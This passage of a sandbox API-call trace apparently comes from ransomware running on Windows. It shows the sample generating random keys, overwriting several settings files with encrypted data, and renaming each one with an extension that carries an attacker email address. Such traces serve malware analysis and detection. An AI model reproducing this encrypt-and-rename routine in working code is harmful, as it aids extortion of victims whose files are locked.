returned 1 [0199.668] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemDeviceEncryption.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.668] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x49f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x49f, lpOverlapped=0x0) returned 1 [0199.669] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1183, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.669] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x49f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x49f, lpOverlapped=0x0) returned 1 [0199.670] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x49f [0199.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.670] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.670] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.670] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.670] CloseHandle (hObject=0x1c24) returned 1 [0199.671] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemDeviceEncryption.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppcsystemdeviceencryption.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemDeviceEncryption.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppcsystemdeviceencryption.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.672] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.673] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0199.673] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemDetails.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.673] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x472, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x472, lpOverlapped=0x0) returned 1 [0199.674] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.674] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x472, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x472, lpOverlapped=0x0) returned 1 [0199.674] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x472 [0199.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.675] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.675] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.675] CloseHandle (hObject=0x1c24) returned 1 [0199.675] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemDetails.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppcsystemdetails.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupPCSystemDetails.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouppcsystemdetails.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.678] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupOneSyncAccounts.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.679] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x475, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x475, lpOverlapped=0x0) returned 1 [0199.689] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1141, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.689] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x475, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x475, lpOverlapped=0x0) returned 1 [0199.690] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x475 [0199.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.690] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.690] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.690] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.691] CloseHandle (hObject=0x1c24) returned 1 [0199.691] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupOneSyncAccounts.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouponesyncaccounts.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupOneSyncAccounts.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouponesyncaccounts.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.693] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.693] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0199.693] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupNotificationsAppList.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.693] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x490, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x490, lpOverlapped=0x0) returned 1 [0199.694] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.694] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x490, lpOverlapped=0x0) returned 1 [0199.695] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x490 [0199.695] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.695] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.695] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.695] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.696] CloseHandle (hObject=0x1c24) returned 1 [0199.696] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupNotificationsAppList.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupnotificationsapplist.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupNotificationsAppList.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupnotificationsapplist.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.697] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.698] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.698] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupMapsUpdates.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.698] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x456, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x456, lpOverlapped=0x0) returned 1 [0199.699] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.699] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x456, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x456, lpOverlapped=0x0) returned 1 [0199.699] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x456 [0199.699] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.699] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.700] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.700] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.700] CloseHandle (hObject=0x1c24) returned 1 [0199.700] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupMapsUpdates.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupmapsupdates.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupMapsUpdates.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupmapsupdates.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.702] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0199.702] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.702] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupLockScreenPreview.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.703] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x487, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x487, lpOverlapped=0x0) returned 1 [0199.704] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1159, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.704] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x487, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x487, lpOverlapped=0x0) returned 1 [0199.704] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x487 [0199.704] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.704] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.705] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.705] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.705] CloseHandle (hObject=0x1c24) returned 1 [0199.705] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupLockScreenPreview.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouplockscreenpreview.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupLockScreenPreview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgrouplockscreenpreview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0199.707] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupInputMouse.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.707] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x463, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x463, lpOverlapped=0x0) returned 1 [0199.709] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1123, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.709] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x463, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x463, lpOverlapped=0x0) returned 1 [0199.709] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x463 [0199.709] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.709] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.709] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.710] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.710] CloseHandle (hObject=0x1c24) returned 1 [0199.710] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupInputMouse.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupinputmouse.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupInputMouse.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupinputmouse.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.712] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.712] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0199.712] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupFamilyUsers.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.713] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x45f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45f, lpOverlapped=0x0) returned 1 [0199.714] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.714] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x45f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45f, lpOverlapped=0x0) returned 1 [0199.714] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45f [0199.714] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.714] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.715] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.715] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.715] CloseHandle (hObject=0x1c24) returned 1 [0199.715] MoveFileExW 